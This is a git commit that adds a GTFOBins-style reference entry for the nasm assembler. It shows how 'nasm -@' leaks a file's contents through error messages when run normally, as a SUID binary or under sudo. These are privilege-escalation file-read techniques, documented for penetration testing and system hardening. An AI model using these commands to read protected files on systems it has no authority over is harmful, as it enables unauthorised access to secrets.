This commit is contained in:
Sahil Siddiq 2021-09-26 14:57:24 +05:30 committed by GitHub
parent 2faea12b6e
commit d708c8b88b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/nasm.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable for reading arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
nasm -@ $LFILE
suid:
- code: |
LFILE=file_to_read
./nasm -@ $LFILE
sudo:
- code: |
LFILE=file_to_read
sudo nasm -@ $LFILE
---